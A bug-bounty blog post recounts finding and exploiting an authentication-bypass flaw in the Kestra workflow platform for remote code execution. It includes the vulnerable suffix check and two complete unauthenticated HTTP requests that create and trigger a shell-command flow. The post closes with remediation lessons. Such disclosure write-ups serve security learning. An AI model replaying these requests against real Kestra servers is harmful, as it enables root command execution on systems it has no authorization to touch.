July 31, 2026
How I Found My First Real-Life RCE: Exploiting CVE-2026–53576 in Kestra
From spotting an exposed developer portal to bypassing authentication with a single path trick.

By BelScarabX
3 min read
For every bug hunter, achieving your first real-world Remote Code Execution (RCE) feels like a rite of passage.
When starting out, it's easy to get stuck trying classic RCE payloads against modern web applications. Modern frameworks and cloud abstractions usually protect developers from naive injection flaws. But what happens when an organization deploys third-party open-source tools and falls behind on updates?
That exact scenario led me to my first critical RCE. Here is how I discovered and exploited CVE-2026–53576 on a real-world target during a bug bounty assessment.
The Target & The Discovery
While mapping out subdomains for a bug bounty target, I stumbled upon a developer login portal at kestra.target.com.
Looking closely at the application, I recognized Kestra — an open-source workflow orchestration platform used by engineering teams to automate complex tasks and pipelines.
My standard methodology when identifying third-party software on a target:
- Identify the exact application and version.
- Search for known vulnerabilities (CVEs) and security advisories.
- Verify if the target's version matches the vulnerable range.
When I searched for recent Kestra advisories, timing was completely on my side. A high-severity vulnerability — CVE-2026–53576 — had been published just 24 hours earlier.
A quick GET request to /api/v1/configs confirmed my target was running version 1.3.16:
GET /api/v1/configs
HTTP/2 200 OK
{
"uuid": "2ppcEdkNCFYwDeMXs8Cp8c",
"version": "1.3.16",
"edition": "OSS"
}GET /api/v1/configs
HTTP/2 200 OK
{
"uuid": "2ppcEdkNCFYwDeMXs8Cp8c",
"version": "1.3.16",
"edition": "OSS"
}Version 1.3.16 was directly in the line of fire.
The Technical Bug: Bad Suffix Matching
The root cause of CVE-2026–53576 lies in a classic pattern-matching flaw within Kestra's web server filter (AuthenticationFilter.java).
To allow public access to basic instance metadata (like the configuration endpoint), the application checked the incoming request path:
// Vulnerable snippet in AuthenticationFilter.java
boolean isConfigEndpoint = request.getPath().endsWith("/configs");// Vulnerable snippet in AuthenticationFilter.java
boolean isConfigEndpoint = request.getPath().endsWith("/configs");If the request path ended in /configs, the authentication filter assumed it was a safe configuration request and bypassed all authentication checks.
Because Kestra's API routing structures endpoints dynamically using path parameters (e.g., /api/v1/{tenant}/flows/{namespace}), an attacker could simply name their target namespace or flow configs. The path would end in /configs, bypassing authentication while pointing directly to privileged administrative actions!
The Exploitation Chain
To prove Remote Code Execution safely, I followed a two-step process: Flow Creation and Flow Execution.
Step 1: Unauthenticated Flow Creation
I sent a POST request to create a malicious workflow definition. By setting the namespace and ID to configs, the endpoint URL became /api/v1/main/flows/configs.
POST /api/v1/main/flows/configs HTTP/2
Host: kestra.target.com
Content-Type: application/x-yaml
id: configs
namespace: configs
tasks:
- id: run_cmd
type: io.kestra.plugin.scripts.shell.Commands
taskRunner:
type: io.kestra.plugin.scripts.runner.docker.Docker
commands:
- whoami
- id
- hostnamePOST /api/v1/main/flows/configs HTTP/2
Host: kestra.target.com
Content-Type: application/x-yaml
id: configs
namespace: configs
tasks:
- id: run_cmd
type: io.kestra.plugin.scripts.shell.Commands
taskRunner:
type: io.kestra.plugin.scripts.runner.docker.Docker
commands:
- whoami
- id
- hostnameThe server accepted the payload without asking for any login credentials and returned a 200 OK response.
Step 2: Unauthenticated Execution Trigger
Next, I triggered the flow via /api/v1/main/executions/configs/configs. Again, because the URL ended in configs, authentication was completely bypassed.
POST /api/v1/main/executions/configs/configs HTTP/2
Host: kestra.target.com
Content-Type: multipart/form-data; boundary=x
--x
Content-Disposition: form-data; name="body"
{}
--x--POST /api/v1/main/executions/configs/configs HTTP/2
Host: kestra.target.com
Content-Type: multipart/form-data; boundary=x
--x
Content-Disposition: form-data; name="body"
{}
--x--The server responded with an execution ID. Checking the job status confirmed that the commands (whoami, id, hostname) executed successfully inside a container as root.
The Plot Twist: Out of Scope
With complete command execution confirmed, I wrote a comprehensive report detailing the severity (CVSS 10.0), impact, and remediation steps, keeping my testing minimal and benign to adhere to Safe Harbor rules.
A few days later, the report was closed as Out of Scope / Third-Party.
Even though the server was on a company-owned domain and exposed critical internal capabilities, the security policy excluded third-party software installations that were not explicitly listed in the main scope assets.
While it was disappointing not to receive a bounty payout for a CVSS 10.0 finding, finding my first real-life RCE was a massive technical win and a key milestone in my security journey.
Key Lessons for Bug Hunters & Developers
- For Developers: Never rely on simple string operations like
endsWith()for authentication filters. Use strict, exact route matching or centralized security frameworks to manage public vs. private routes. - For Security Researchers: Always check for recent CVEs when you encounter third-party management tools during recon.
Have you ever found a critical bug only to have it marked as third-party or out-of-scope? Let's connect and share stories on LinkedIn!